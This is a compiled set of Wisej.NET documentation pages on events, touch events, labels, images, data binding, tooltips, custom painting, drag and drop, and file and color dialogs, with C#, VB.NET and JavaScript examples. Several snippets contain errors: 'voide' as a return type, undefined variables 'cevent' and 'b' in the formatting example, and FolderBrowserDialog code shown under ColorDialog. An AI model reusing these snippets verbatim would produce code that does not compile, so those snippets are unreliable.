Events

Event routing concepts.

Event routing is a cornerstone of the Wisej.NET architecture. Wisej.NET client-side JavaScript widgets can fire events on the server and server-side components can fire and handle events synchronously or asynchronously (out-of-bound) using the .NET standard events system.

Event Handling

Handling events is as simple as attaching a listener to the event of overriding the equivalent OnEvent method. There is really nothing else to it.

this.button1.Click += this.Button1_Click;
...

void Button1_Click(object sender, EventArgs e) {

  this.button1.Text = "Clicked!";

}
AddHandler Me.button1.Click, AddressOf Me.Button1_Click
...

Private Sub Button1_Click(sender As Object, e As EventArgs)

  Me.button1.Text = "Clicked!"
  
End Sub

Another way to handle events in derived classes is to simply override the OnEvent methods and process the event before or after it's fired.

class MyButton : Wisej.Web.Button {

protected override void OnMouseDown(MouseEventArgs e) {

  base.OnMouseDown(e);
  
  this.Text = "The mouse is at " + e.Location;

}
Class MyButton
    Inherits Wisej.Web.Button

Protected Overrides Sub OnMouseDown(ByVal e As MouseEventArgs)

  MyBase.OnMouseDown(e)
  
  Me.Text = "The mouse is at " + e.Location

End Sub

Note that Wisej.NET is able to inform the server of the mouse location (relative to the browser page) as well as the keyboard state, mouse buttons, and wheel delta.

Touch events from mobile devices are all translated to the appropriate mouse events.

Role Attribute

All pointer events on all components carry the Role property. This property contains the value of the "role" attribute of the specific HTML element that was clicked by the user.

In most cases it is just an empty string. However, you can use this feature to "deep click" inside a component and detect where the user clicked. For example, if you place HTML content in a DataGridViewCell like this:

"<span>Hello</span><img src="edit.png" role="edit"/>"

You can handle the CellClick event (or any other cell pointer event) and check whether the value of the e.Role property is "edit". This works for labels, buttons, ListView, and any component in Wisej.NET that can display HTML content.

Lazy Events

There is a group of "critical" events that are not fired back to the server unless the application has specifically attached to the handler. These are events that would typically fire multiple times.

  • MouseMove

  • MouseEnter

  • MouseHover

  • MouseLeave

  • MouseWheel

  • KeyDown

  • KeyPress

  • KeyUp

  • QueryContinueDrag

  • DragDrop

  • DragEnter

  • DragOver

  • DragLeave

  • Swipe

  • Paint

  • Pinch

  • Rotate

  • Track

  • TouchStart

  • TouchEnd

  • TouchCancel

  • Scroll

  • ModifiedChanged

  • LoadCompleted

  • ItemMouseHover

  • CellMouseEnter

  • CellMouseLeave

  • CellMouseMove

Once a handler is attached, you may also override the OnEvent method in a derived class.

Out-of-Bound Events

Out-of-bound events are events fired outside of a browser request (user action). For example, an event fired by a thread monitoring the stock market is an out-of-bound event since the thread is running in the background and is unaware of any browser activity.

The client may also fire unattended events back to the server. However, these are in-bound events since the server is processing a request from the browser and has a valid session to work with.

When processing out-of-bound events you are processing a background task, which is a thread that has absolutely no knowledge of the session that is handling the event. Handling out-of-bound events - something close to impossible with other systems - is easy with Wisej, all you need to do is wrap the handling code in Application.RunInContext(component, ()=>{ code }) or Application.Update(component, ()=>{ code }).

The only difference between RunInContext and Update is that the Update call pushes any changes to the visual components back to the client.

public class Window1 : Wisej.Web.Form {


  // When this window is loaded, we connect to a background task (thread) monitoring the stock market.
  // The thread was started independently and the static reference saved in MyApp.Program.

  protected override void OnLoad(EventArgs e) {

    Program.StockMarketMonitor.PriceDrop += this.StockMarketMonitor_PriceDrop;

    base.OnLoad(e);
  }

  // When we receive a PriceDrop event, display an alert.

  void StockMarketMonitor_PriceDrop(object sender, StockMarketMonitorEventArgs e) {

      // Restore the context using this component and run in context using Update since
      // we want to show the alert box immediately on the user's browser.

      Application.Update(this, ()=>{

          AlertBox.Show($"The price of {e.Symbol} dropped below {e.Limit}", MessageBoxIcon.Warning);

          // Note: We can also update the user's browser several times using: Application.Update(component) at any time.

      });
  }

}
Class Window1 Inherits Wisej.Web.Form


  ' When this window is loaded, we connect to a background task (thread) monitoring the stock market.'
  ' The thread was started independently and the static reference saved in MyApp.Program.'

  Protected Overrides Sub OnLoad(e As EventArgs)

    AddHandler Program.StockMarketMonitor.PriceDrop, AddressOf Me.StockMarketMonitor_PriceDrop

    MyBase.OnLoad(e)
    
  End Sub

  ' When we receive a PriceDrop event, display an alert.'

  Private Sub StockMarketMonitor_PriceDrop(sender As Object, e As StockMarketMonitorEventArgs)

      ' Restore the context using this component and run in context using Update since'
      ' we want to show the alert box immediately on the user browser.'

      Application.Update(this, Sub()

          AlertBox.Show($"The price of {e.Symbol} dropped below {e.Limit}", MessageBoxIcon.Warning)
          ' Note: We can also update the user browser several times using: Application.Update(component) at any time.'
          
        End Sub)
        
  End Sub

End Class

Once you are back in context, you can handle any component in the user session: update text, hide, show, move. There are no limits to what you can do using Wisej.NET Real-Time features.

JavaScript Events

When creating new Wisej.NET components and widgets, or integrating existing jQuery or other third-party JavaScript widgets, you will most likely need to fire an event from JavaScript running in the browser back to the server and handle it as any other .NET event.

This is how you fire the event from a Wisej.NET widget:

/**
 * Assuming that this code is being processed as part of a Wisej.NET widget, fire a simple event
 * notifying the server side of this widget (the corresponding control) that the label was clicked.
 */
 this.fireEvent("labelClicked");

 /**
  * We can also send data back to the server together with an event.
  * For example, say we want to notify the server component that a specific label was clicked.
  */
 this.fireDataEvent("labelClicked", label.getName());

 /**
  * And we can send complex data structures when we need to send back multiple values.
  */
 this.fireDataEvent("labelClicked", {name: label.getName(), x:e.getDocumentX(), y:e.getDocumentY()});

 /**
  * We can even send back the reference to a widget. Wisej.NET will convert it to an actual control on
  * the server side!
  *
  * Assuming that label is a Wisej.NET widget:
  */
 this.fireDataEvent("labelClicked", {label: label, name: label.getName(), x:e.getDocumentX(), y:e.getDocumentY()});

The example above shows how to fire JavaScript events back to the server.

The example below shows how to register a Wisej.NET control to receive custom events and how to handle the data transported with the event.

// Override OnWebRender() to register the additional custom events:
protected override voide OnWebRender(dynamic config) {

  base.OnWebRender((object)config);

  // add the new events to the list of wired events.
  config.wiredEvents.Add("labelClicked");

  // if the event "labelClicked" carried data with it, we need to declare the name of the data member like this:
  config.wiredEvents.Add("labelClicked(Name)");

  // the name in parethesis cna be anything. the example above used Name since the event was simply firing back the name.
  // the example below uses "Data" as a more appropriate name when the event carries complex data structures:
  config.wiredEvents.Add("labelClicked(Data)");

}

// To handle the event, override OnWebEvent():
protected override void OnWebEvent(WisejEventArgs e) {

  switch (e.Type) {

    case "labelClicked":
      // the data caming in from the client is accessible using e.Parameters.{Name}.

      // in the case of the event sending back simply the name: this.fireDataEvent("labelClick", label.getName());
      AlertBox.Show(e.Parameters.Name);

      // in the case of the event sending back a data strucure:
      AlertBox.Show("Label Clicked at X:" + e.Parameters.Data.x + " Y: " + e.Parameters.Data.y);

      break;

    default:
      base.OnWebEvent(e);
      break;
  }

}

When integrating third-party widgets, you can handle and process their events in JavaScript and send back to Wisej.NET a custom event of any type. All you need to do is to handle their events as indicated in the third-party widget's documentation and then fire it to Wisej.

Touch Events

Touch events compatibility and emulation.

Wisej.NET supports all touch events on mobile and touch devices, and it simulates most of the touch events on desktop non-touch devices.

The biggest advantage of being able to use the same events on any device, regardless of their touch-hardware, is to reduce the complexity of the code and handle only one set of events.

Supported events

Wisej.NET supports the following touch events:

  • Tap. Fired when a pointer taps on the screen.

  • LongTap. Fired when a pointer holds on the screen.

  • Pinch. Fired when two fingers moved away or toward each other.

  • Swipe. Fired when a pointed swiped over the screen.

  • Track. Fired when a pointer grabs a control and moves over it.

  • TouchStart. Fired when a touch point is placed on the screen.

  • TouchMove. Fired when a touch point is moved over the screen.

  • TouchEnd. Fired when a touch point is removed from the screen.

  • TouchCancel. Fired when a touch point is canceled by the implementation. For example, if a new item is created on top of the surface that fired TouchStart.

Simulated Events

  • Tap. Similar to Click.

  • LongTap. Fired when the mouse is pressed and held down.

  • Swipe. Fired when the mouse is pressed and moved quickly.

  • Track. Fired when the mouse is pressed and moved.

  • TouchStart. Fired when the mouse is pressed.

  • TouchMove. Fired when the mouse moves over the control. Similar to MouseMove.

  • TouchEnd. Fires when the mouse is released.

See what data you get on a desktop for a simulated Swipe event.

Labels

Add labels to editable controls.

Allows a control to display a label without having to create a separate Label control.

When dropping a control that supports the associated label, you will find the Label field in the quick actions panel. Entering the label text automatically creates the associated label using the default properties.

You can change all the Label's properties either in the control's property panel or in code by using the Control.Label object.

Features

Position

You can position the label to any of the four sides plus the Inside position. When the label is positioned inside, it is displayed over the editable control and automatically resized and moved up when the user enters a value or the application assigns the Text property.

AutoSizing

The internal layout of controls with the associated label is always managed by the widget and is controlled by these properties of the Label object: Text, Position, AllowHtml, Padding, Size, MaxSize, MinSize, and SizeType.

The outer size of the control is always the size set by the application - internally the label and the control share the outer size. You can control how much of the internal space is used by the label using the SizeType and Size properties:

  • AutoSize (the default) means that the label occupies exactly the space it needs and the associated control uses the remaining space.

  • Absolute means that the label occupies the number of pixels set in the Size property.

  • Percent means that the label occupies the percentage of the space indicated in the Size property. Basically the Size property is either a pixel value or a percent value.

Additionally, you can constrain the size of the label by setting the MinSize and MaxSize properties, always in pixels.

HTML

When the AllowHtml property is set to true, you can use any HTML string in the label to create labels of any complexity:

Mnemonics

To assign a mnemonic character, type a & before the character that has become the mnemonic, set UseMnemonic to true and AllowHtml to false. Wisej.NET will render the mnemonic character underlined, which is the standard in desktop apps.

Users can now immediately focus the field simply by pressing Alt + Mnemonic character.

Advanced

Localization

Only the text of the label is localizable.

Responsive

If you need to adjust any aspect of the label in relation to a responsive profile, handle the Application.ResponsiveProfileChanged event and change the properties in code.

JavaScript Widget

Controls with the associated labels, when created in the browser, are wrapped inside an instance of the wisej.web.LabelWrapper JavaScript class.

JavaScript code that needs to interact with the editor control instead of the wrapper, should call this.getEditor() to get a reference to the wrapped editor control.

Class name
wisej.web.LabelWrapper

Theme appearance

Source code

Images

Image concepts.

Wisej.NET controls can use several kinds of icons and images:

  • Image file

  • Image from an ImageList component

  • Image object (System.Drawing.Image)

  • Image from the theme or a them mixin

  • Image in embedded resources in an assembly

Image Files

You can use any, relative or full, URL as the source of the image. The properties that can accept a URL typically end with "Source": ImageSource is the most common property.

ImageList

Multiple controls in Wisej.NET can utilize the ImageList component. The ImageList component allows you to manage a collection of Image objects by index or key, instead of having an image assigned directly.

The biggest advantages of using the "ImageList" component are that: it can be shared among multiple controls, and you can change an image without changing the controls that reference, effectively creating a level of indirection.

Some controls may have several image properties, all used for the same image. For example, the Button control has "Image", "ImageSource", "ImageIndex", and "ImageKey". They all refer to the same image and when setting one of the properties, the others will reset automatically.

Image properties that end with Key or Index refer to an image in an ImageList. The ImageList may be assigned to the control itself or to its container.

Image Object

Image properties that don't and with Index, Key or Source and are of type System.Drawing.Image, can be assigned with any image object. Wisej.NET will return the image as a png back to the browser.

Theme Images

Each theme in Wisej.NET comes with a set of default theme images that are used for controls.

You can use any image from the theme, including images in theme mixins, simply by name. Assign the name to an ImageSource property and Wisej.NET will load the image from the client cache to the browser element.

Theme images are all preloaded on the client at once.

Icon Packs

Wisej.NET supports Icon Packs at runtime and design time. An Icon Pack is an assembly that embeds a collection of icons. You can deploy single assembly instead of multiple icon files.

The Design-Time Image Selector automatically discovers the Icon Pack Assemblies referenced in the project and adds them to the folder list, right below the Project Root Folder. When you select the Icon Pack, Wisej.NET lists and previews all the embedded icons in the assembly and lets you choose the icon to use, as if it was a single file.

You can build your own Icon Packs and/or download the ones that we provide.

SVG Colors

All Wisej.NET themes use SVG monochrome icons. Their color is set either in the theme or to match the container's text color. It's the same behavior of icon fonts.

In case you need to change the color of a specific SVG icon, without having to change the color of the text of the container, you can add the color to the ImageSource name or URL (for embedded icons and icon packs) by adding: ?color=[color].\

this.IconSource = "icon-print?color=red";
this.IconSource = "icon-print?color=#ff0000";
this.IconSource = "icon-print?color=rgb(255,0,0)";
this.IconSource = "icon-print?color=activeText"; // you can use theme colors.
this.IconSource = "resource.wx/birthday-cake.svg?color=#ff0000";
this.IconSource = "resource.wx/birthday-cake.svg?color=rgb(255,0,0)";
this.IconSource = "resource.wx/birthday-cake.svg?color=activeText";
this.IconSource = "resource.wx/birthday-cake.svg?color=rgba(255,0,0.5)";

If your SVG color is not able to be changed, it could be due to a fill or stroke value inside of the SVG. Try removing it with a Text Editor.

Icon Size

Data Binding

Data binding concepts.

General

In Wisej.NET, data binding refers to the process of connecting UI elements on a Wisej.NET UI container (i.e., Form, Page, UserControl, Desktop, ...) with data sources, such as databases or data objects. This allows the UI to display data from the data source, and to automatically update the data source when the user modifies the data in the UI.

There are two types of data binding in Wisej.NET: simple binding and complex binding.

Simple binding involves binding a single UI element, such as a text box, to a single data field, such as a customer name. When the data source is updated, the value of the text box will automatically be updated to reflect the new value of the customer name field.

Complex binding involves binding a container control, such as a grid, to a data source. Each row in the grid is bound to a record in the data source, and each cell in the grid is bound to a field in the record. When the data source is updated, the grid will automatically be updated to reflect the changes.

Designer

When you are building controls that interact with data, you sometimes need to bind a control to a type, rather than an object. You typically need to bind a control to a type at design time, when data may not be available, but you still want your data-bound controls to display data from a type's public interface.

Bind BindingSource to Type

  1. Create a Windows Forms project (File > New > Project > Visual C# or Visual Basic > Web > Wisej.NET Web Page Application).

  2. In Design view, drag a BindingSource component onto the form.

  3. In the Properties window, click the arrow for the DataSource property.

  4. In the DataSource UI Type Editor, click Add Project Data Source.

  5. On the Choose a Data Source Type page, select Object and click Next.

  6. Select the type to bind to:

    • If the type you want to bind to is in the current project, or the assembly that contains the type is already added as a reference, expand the nodes to find the type you want, and then select it.

      -or-

    • If the type you want to bind to is in another assembly, not currently in the list of references, click Add Reference, and then click the Projects tab. Select the project that contains the business object you want and click OK. This project will appear in the list of assemblies, so you can expand the nodes to find the type you want, and then select it.

  7. Click Next, and then click Finish.

Bind Control to BindingSource

  1. Add a TextBox to the form.

  2. In the Properties window, expand the (DataBindings) node.

  3. Click the arrow next to the Text property.

  4. In the DataSource UI Type Editor, expand the node for the BindingSource added previously, and select the property of the bound type you want to bind to the Text property of the TextBox.

Data Sources

Lists

Developers can bind to a strongly-typed generic list (List<T>) or create a new BindingList<T> implementation to bind data to.

List<T>

The List<T> class is the generic equivalent of the ArrayList class. It implements the** IList<T>** generic interface by using an array whose size is dynamically increased as required.

You can add items to a** List<T> **by using the Add or AddRange methods.

BindingList<T>

The BindingList<T> class can be used as a base class to create a two-way data-binding mechanism. BindingList<T> provides a concrete, generic implementation of the IBindingList interface. This is an alternative to implementing the complete IBindingList interface, which can be difficult because of the subtle interaction between IBindingList, IEditableObject, and the associated CurrencyManager. However, the typical solutions programmer will use a class that provides data binding functionality, such as BindingSource, instead of directly using BindingList<T>.

BindingList<T> supports factory-created instances through the extensible AddNew method. (This same type of extensibility is also found in other classes, such as BindingSource) In addition, since this class implements the ICancelAddNew interface, it enables transactional commits or rollbacks of the new item through the EndNew and CancelNew methods.

var data = new List<dynamic>
{
	new { id = 1, name = "John" },
	new { id = 2, name = "Jane" },
	new { id = 3, name = "Jared" }
};

this.dataRepeater1.DataSource = data;

this.textBoxID.DataBindings.Add(new Binding("Text", data, "id"));
this.textBoxName.DataBindings.Add(new Binding("Text", data, "name"));

ADO.NET

ADO.NET provides consistent access to data sources such as SQL Server and XML, and to data sources exposed through OLE DB and ODBC. Data-sharing consumer applications can use ADO.NET to connect to these data sources and retrieve, handle, and update the data that they contain.

Entity Framework

Entity Framework Core is a modern object-database mapper for .NET. It supports LINQ queries, change tracking, updates, and schema migrations. EF Core works with many databases, including SQL Database (on-premises and Azure), SQLite, MySQL, PostgreSQL, and Azure Cosmos DB.

LINQ

Language-Integrated Query (LINQ) is the name for a set of technologies based on the integration of query capabilities directly into the C# language. Traditionally, queries against data are expressed as simple strings without type checking at compile time or IntelliSense support. Furthermore, you have to learn a different query language for each type of data source: SQL databases, XML documents, various Web services, and so on. With LINQ, a query is a first-class language construct, just like classes, methods, events.

Example:

var data = new List<dynamic>
{
	new { id = 1, name = "John" },
	new { id = 2, name = "Jane" },
	new { id = 3, name = "Jared" }
};

var filter = data.Where(record => 
record.name.StartsWith("Ja")).ToList();

this.dataRepeater1.DataSource = filter;

this.textBoxID.DataBindings.Add(new Binding("Text", filter, "id"));
this.textBoxName.DataBindings.Add(new Binding("Text", filter, "name"));

Result:

Currency Manager

The CurrencyManager in Wisej.NET manages a list of Binding objects.

BindingContext

Each Wisej.NET Form has at least one BindingContext object that manages the BindingManagerBase objects for the form. Because the BindingManagerBase class is abstract, the return type of the Item[] property is either a CurrencyManager or a PropertyManager. If the data source is an object that can return only a single property (instead of a list of objects), the Type is a PropertyManager. For example, if you specify a TextBox as the data source, a PropertyManager is returned. On the other hand, if the data source is an object that implements IList or IBindingList, a CurrencyManager is returned.

For each data source on a Wisej.NET Form, there is a single CurrencyManager or PropertyManager. Because there may be multiple data sources associated with a Wisej.NET Form, the BindingContext enables you to retrieve any particular CurrencyManager associated with a data source.

Formatting

The Format event is raised when data is pushed from the data source into the control. You can handle the Format event to convert unformatted data from the data source into formatted data for display. When data is pulled from the control into the data source, the Parse event is raised to unformat the displayed value, then the Format event occurs to reformat the data for display. This ensures that the bound control displays correctly formatted data regardless of whether the user enters formatted or unformatted data in the control.

private void DecimalToCurrencyString(object sender, ConvertEventArgs e)
{
   if(e.DesiredType != typeof(string)) 
      return;
   
   e.Value = ((decimal) e.Value).ToString("c");
}

private void CurrencyStringToDecimal(object sender, ConvertEventArgs e)
{
   if(cevent.DesiredType != typeof(decimal)) 
      return;

   e.Value = Decimal.Parse(e.Value.ToString(), NumberStyles.Currency, null);
}

private void BindControl()
{
   var binding = new Binding("Text", data, "value");
   
   binding.Format += new ConvertEventHandler(DecimalToCurrencyString);
   binding.Parse += new ConvertEventHandler(CurrencyStringToDecimal);
   
   this.textBox1.DataBindings.Add(b);
}

Events

The Format event is raised when data is pushed from the data source into the control. You can handle the Format event to convert unformatted data from the data source into formatted data for display. When data is pulled from the control into the data source, the Parse event is raised to unformat the displayed value, then the Format event occurs to reformat the data for display. This ensures that the bound control displays correctly formatted data regardless of whether the user enters formatted or unformatted data in the control.

The Format and Parse events allow you to create custom formats for displaying data. For example, if the data in a table is of type Decimal, you can display the data in the local currency format by setting the Value property of the ConvertEventArgs to the formatted value in the Format event. You must consequently unformat the displayed value in the Parse event.

INotifyPropertyChanged

The INotifyPropertyChanged interface is used to notify clients, typically binding clients, that a property value has changed.

For example, consider a Person object with a property called FirstName. To provide generic property-change notification, the Person type implements the INotifyPropertyChanged interface and raises a PropertyChanged event when FirstName is changed.

For change notification to occur in a binding between a bound client and a data source, your bound type should either:

  • Implement the INotifyPropertyChanged interface (preferred).

  • Provide a change event for each property of the bound type.

Do not do both.

ToolTips

Tooltip concepts.

Tooltips can be assigned to controls and to child elements of controls. i.e. TreeNode, ListView or ComboBox items, TabPage, DataGridView Cells, ListView items, etc.

When a control can display a tooltip in relation of a child element, it usually exposes the ShowToolTips or ShowNodeToolTips or ShowCellToolTips property. See the documentation for each control for more details.

Features

Styling

In the theme you can control any aspect of the tooltip widget, just like any other widget, plus additional properties that control the location and alignment of the tooltip:

  • offset [offsetTop, offsetRight, offsetBottom, offsetLeft]: Adds the specified distance in pixels between the tooltip widget and the target widget.

  • placeMethod: indicates whether to place the tooltip in relation to the target widget or the current position of the pointer; values are "widget", "pointer".

  • placementModeX and placementModeY: indicate how to calculate the placement of the tooltip when the preferred position doesn't fit in the browser; values are:

    • "direct" to preserve the calculated position even if it doesn't fit in the browser.

    • "keep-align" to adjust the position to fit in the browser, i.e. "bottom-center" may become "top-center".

    • "best-fit" to preserve the preferred position but offsetting the tooltip enough pixels to fit in the browser.

  • position: indicates where to place the tooltip in relation to the target widget; values are "top-left", "top-center", "top-right", "bottom-left", "bottom-center", "bottom-right", "left-top", "left-middle", "left-bottom", "right-top", "right-middle", "right-bottom"

  • states: indicates the placement of the tooltip in relation to the target widget; values are "p_lacementLeft"_, "placementRight", "placementAbove", "placementBelow" .

Error ToolTip

There are two kinds of tooltips in Wisej: the regular tooltip that is shown when the pointer rests for a certain amount of time over a control or an element of a control, and the error tooltip that is shown when the pointer rests over an "invalid" control.

All controls that expose the InvalidMessage (available in the designer) and Invalid (only available in code) properties. You can set the Invalid property by code simply by assigning it, otherwise it is set to true or cleared when the control is validated.

Data Binding

The ToolTipText property can be bound to a data source like any other bindable property.

Advanced

Configuration

JavaScript Widget

Class name
wisej.web.extender.ToolTip

Theme appearance

Child components

"atom" is the inner widget that shows an "icon" and a "label"; "arrow" is the widget that is attached to one of the 4 sides of the tooltip according to the placement.

Source code

Custom Painting

Custom painting and drawing in the browser.

All Wisej.NET controls support custom painting. Simply attach to the Paint event and draw whatever you like, it will display in the browser as the background of the control.

this.button1.Paint += this.button1_Paint;

private void button1_Paint(object sender, PaintEventArgs e)
{
    e.Graphics.FillPie(Brushes.Blue, new Rectangle(0, 0, 150, 150), 0, 360);
}

You can't use the BackgroundImage and custom painting. Painting will take over the backgound.

There is no limit to what you can draw: e.Graphics is a GDI+ object that Wisej.NET sends back to the browser as a png image and immediately removes from memory.

Canvas Drawing

This code

this.canvas1.Redraw+= this.canvas1_Redraw;

private void canvas1_Redraw(object sender, EventArgs e)
{
			this.canvas1.BeginPath();
			this.canvas1.Arc(150, 150, 150, 0, 360);
			this.canvas1.Stroke();
			
			// Syntax in JavaScript would be
			// var ctx = c.getContext("2d");
			// ctx.beginPath();
			// ctx.arc(150, 150, 150, 0, 2 * Math.PI);
			// ctx.stroke();
}

Produces this circle.

All the HTML5 Canvas method are available in C# or VB.NET on the server. All the arguments are the same and the names are the same. The only different is that the first character is uppercase and the radians are degrees for simplicity.

The Canvas control allow you to build very sophisticated custom controls using the <canvas> element and drawing the control entirely in .NET.

Common Properties

Shared features and properties among all Wisej.NET controls.

All Wisej.NET controls are derived from the Wisej.Web.Control class and share many common properties and methods. While some properties are obvious: BackColor, Font, Text, etc. some other are related to more advanced functionality usually not found in any other web system.

The list below is not complete, but it provides a lot of useful information.

Anonymous

When true, the control is "transparent" to pointer events. If you place a Button on a Page and set the property Anonymous of the button to true, when the user clicks on the button, the event will bubble to Page and will fire on the Page: the button is completely transparent to the pointer.

Some events have the OriginalTarget property. If you have an event that carries the OriginalTarget, you can retrieve which anonymous control the user interacted with.

AppearanceKey

It's the name of the appearance in the theme that a control uses to style itself in the browser.

The value is null by default, which means that the control will use its default appearance name.

Retrieve the default appearance name by casting the control to Wisej.Core.IWisejControl, like this: ((Wisej.Core.IWisejControl)this).AppearanceKey;

AllowDrag

AllowDrop

Capture

When true, all pointer events, anywhere on the browser and on any control, are captured and redirected to the control capturing the pointer. A resize action is an example of capturing the pointer.

Movable

ResizableEdges

Dock

Determines how a control is resized with its parent. The priority of the docking is determined by the order of the controls.

Docking is also affected by the control position in the control list. Controls first are close to the viewer in a hypothetical 3D model.

Anchor

Anchoring is similar to Docking but it "anchors" a specific side to the parent's control and keeps the relative distance.

When a control is not docked on both sides the relative distance is preserved proportionally on both sides. It can be used to keep a control centered vertically or horizontally.

BackgroundImage

States

ClientEvents

CssClass & CssStyle

InitScript

Enabled

Enables or disables a control and all its children at any level. Disabled controls are rendered as enabled in the designer.

When reading the value of the Enabled property you may get _false _even when you have set the property to true if any parent is disabled.

Visible

Hides or shows a control. Controls are rendered on the client only when they are made visible once.

Setting Visible to true is the same as calling the Show() method, and setting it to false is the same as calling the Hide() method.

When reading the value of the Visible property you may get _false _even when you have set the property to _true _if any parent is not visible.

ShowLoader

TabStop & TabIndex

ToolTipText

Sets the tooltip text on any control.

Move & Resize

Allows the user to move and resize controls in the browser.

When a control is resized or moved, it will change the Size and Location properties on the server and fire the related events.

Live Resize

Resizable controls can resize in two modes: Live or Frame. By default all the resizable controls, including Forms, use a resize frame and then resize the actual control when the user releases the pointer.

Some controls expose the LiveResize property that lets you change the default behavior and update the control as the user resizes it:

  • Form. The window is resized immediately.

  • DataGridView. Columns are resized immediately.

  • ListView. Columns are resized immediately when Detail view.

When LiveResize is true, every movement of the mouse or the pointer or the touch causes a resize event and it can get heavy on the server.

this.setUseResizeFrame(false);

Movable Property

It's a simple boolean property. Set it to true to make a control movable.

If you set the Movable property to false on a Form window then it will be displayed at the specified location and the user will not be able to move it.

ResizableEdges Property

The ResizableEdges property is a flags enumeration that takes the AnchorStyles values. You can enable any of the four sides of a control to be resizable, or any combination of the sides.

Simple Splitters

Combining the ResizableEdges, Dock, and Anchor properties is an easy and flexible way to create a splitter system without adding split containers or other controls.

Just putting together a Button with ResizableEdges=Right and Dock=Left, a TreeView with Dock=Fill, and a DataGridView with ResizableEdges=Bottom and Dock=Top, inside a Panel creates a flexible composite control.

Move, Resize Events

The Location and Size properties of the control will not change while the user is dragging or resizing the control on the browser.

Advanced

Wisej.NET provides advanced states and events that allow your application to style a control when it's being moved or resized and to detect when the moving or resizing operations start and end.

  • When moving, it adds the state "move".

  • When resizing, adds the state "resize".

  • When moving starts, fires the event "startmove".

  • When moving ends, fires the event "endmove".

  • When resizing starts, fires the event "startresize".

  • When resizing ends, fires the event "endresize".

These states are not defined in the built-in theme, but you can use them in your theme or in a mixin.

For example, adding a mixin that extends the "tree" appearance like this:

{
	"appearances": {
		"tree": {
			"inherit": "tree",
			"states": {
				"move": {
					"styles": {
						"width": 5,
						"color": "grey",
						"style": "dotted"
					}
				}
			}
		}
	}
}

Results in the TreeView control showing the new styled border when it's being moved by the user.

Drag & Drop

Drag & drop data and files concepts.

In Wisej.NET every control supports drag & drop operations, which is different from dragging (moving) the control itself. Drag & drop means that your application allows the user to drag data from one control to another.

For example, you may want to drag a row from a grid to an input field, or within the grid to change its position, or you may want to drag a node from a tree control to another.

private void dataGridView1_DragStart(object sender, EventArgs e)
{
    this.dataGridView1.DoDragDrop(
        this.dataGridView1.SelectedRows.ToArray(),
        DragDropEffects.Copy | DragDropEffects.Move);
}

A common mistake is to call this.DoDragDrop() instead of this.[control].DoDragDrop() when handling the event in a parent container. Make sure to call DoDragDrop() on the correct target.

private void button1_DragEnter(object sender, DragEventArgs e)
{
    if (e.Data.GetDataPresent(typeof(int[])))
        e.Effect = DragDropEffects.Move;
    else
        e.Effect = DragDropEffects.None;
}
private void button1_DragDrop(object sender, DragEventArgs e)
{
    var indexes = (int[])e.Data.GetData(typeof(int[]));
}

Data Object

Detect Target

Control
DropTarget

ListBox

Item

TreeView

TreeNode

DataGridView

DataGridViewCell

ListView

ListViewItem

In addition to the DropTarget property, the event data contains the location of the pointer and the key state of the keyboard to allow your app to detect what the user is pressing while dragging, in case you want to handle different drag effects.

Drag Icon

When dragging, Wisej.NET shows the typical drag cursor you see in a desktop application (themeable).

Dropping Files

private void label1_DragEnter(object sender, DragEventArgs e)
{
	var fileTypes = (string[])e.Data.GetData(DataFormats.FileDrop);
	if (fileTypes.Length > 0 && fileTypes[0]=="image/png")
		e.Effect = DragDropEffects.Move;
}
private void label1_DragDrop(object sender, DragEventArgs e)
{
	var data = (System.Web.HttpFileCollection)e.Data.GetData(DataFormats.Files);
	if (data.Count == 1)
	{
		this.label1.Text = "";
		this.label1.Image = Image.FromStream(data[0].InputStream);
	}
}

It's that simple.

To enable dragging and dropping entire folders, enable the "allow.drop.folders" option in Default.json: options:{"allow.drop.folders": true}.

ColorDialog

Represents a common dialog box that displays available colors along with controls that enable the user to define custom colors.

This class provides a way to prompt the user to select a color. The color can be picked either through a list of preset colors or using the visual picker. Once a color is selected, the details of the new color will be shown in a GroupBox, along with a visual comparison of the old and new color.

Features

Custom Colors

The ColorDialog features several ways to get the perfect color. The Hex, RGB, or HSB value can be manually entered, the user can pick a value from the Preset Colors, or fine tune a value with the Visual Picker.

How To

Customize the Appearance

The ColorDialog component can be customized by applying appearances to each individual control within the dialog. This includes the textboxes, picker, and more.

To customize these controls, create a new class that inherits from ColorDialogUI, add the custom ColorDialog constructor, and modify the controls within it:

public partial class CustomFolderBrowserDialogUI : FolderBrowserDialogUI
{
		public CustomFolderBrowserDialogUI(FolderBrowserDialog folderDialog) : base(folderDialog)
		{
			this.HeaderBackColor = Color.Green;
			this.buttonOK.BackColor = Color.Green;
			this.buttonCancel.BackColor = Color.Green;
		}
}

After applying the ColorDialog's DialogTemplate property to the new class, the resulting popup will look like this:

For instructions on how to use a custom template to offer advanced customization of the ColorDialog, see below.

OpenFileDialog

Prompts the user to open a file from the server.

This class allows you to check whether a file exists and to open it. The ShowReadOnly property determines whether a read-only check box appears in the dialog box. The ReadOnlyChecked property indicates whether the read-only check box is checked.

Most of the core functionality for this class is found in the FileDialog class.

Features

Filtering

The OpenFileDialog filters files shown to the user based on a given pattern. For example, the filter C# files|*.cs|All files|*.* will show files ending with .cs by default. Users can modify the filter using the dropdown menu.

Help

The OpenFileDialog includes an optional "?" (Help) tool for displaying navigation assistance.

How To

Connect to the File System

Add at least one IFileSystemProvider to the Roots collection before showing the dialog:

//Using an absolute file path
OpenFileDialog filedialog = new OpenFileDialog(); 
filedialog.Roots.Add(new FileSystemProvider("C:\\", "Main_Directory"));
//Using a relative file path
OpenFileDialog filedialog = new OpenFileDialog(); 
filedialog.Roots.Add(new FileSystemProvider("./", "Main_Directory"));

Customize the Appearance

The OpenFileDialog supports customization of individual controls including textboxes and pickers.

To customize these controls:

  1. Create a class inheriting from FileDialogUI

  2. Add the custom OpenFileDialog constructor

  3. Modify the controls as needed

public class CustomOpenFileDialogUI : FileDialogUI
{
    public CustomOpenFileDialogUI(OpenFileDialog openFileDialog) : base(openFileDialog)
    {
        this.HeaderBackColor = Color.DarkOrange;
        foreach (ColumnHeader col in this.listView.Columns)
        {
            col.BackColor = Color.DarkOrange;
        }
    }
}

After applying the OpenFileDialog's DialogTemplate property to the new class, the result looks like this:

For advanced customization of the OpenFileDialog using custom templates, see below.

Responsive Properties

Properties that change their value according to the client profile.

Wisej.NET supports a unique system of "responsive properties" in order to enable an application to adapt its UI to the client browser without being limited to CSS media selectors and styles.

Conceptually it's a simple system. Certain properties, usually but not necessarily visual properties (i.e. Visible, Display, Size, Location, etc.) can hold multiple values at the same time and apply the one that matches the current client browser profile.

The only way to assign responsive properties is in the designer.

See also:

User Data

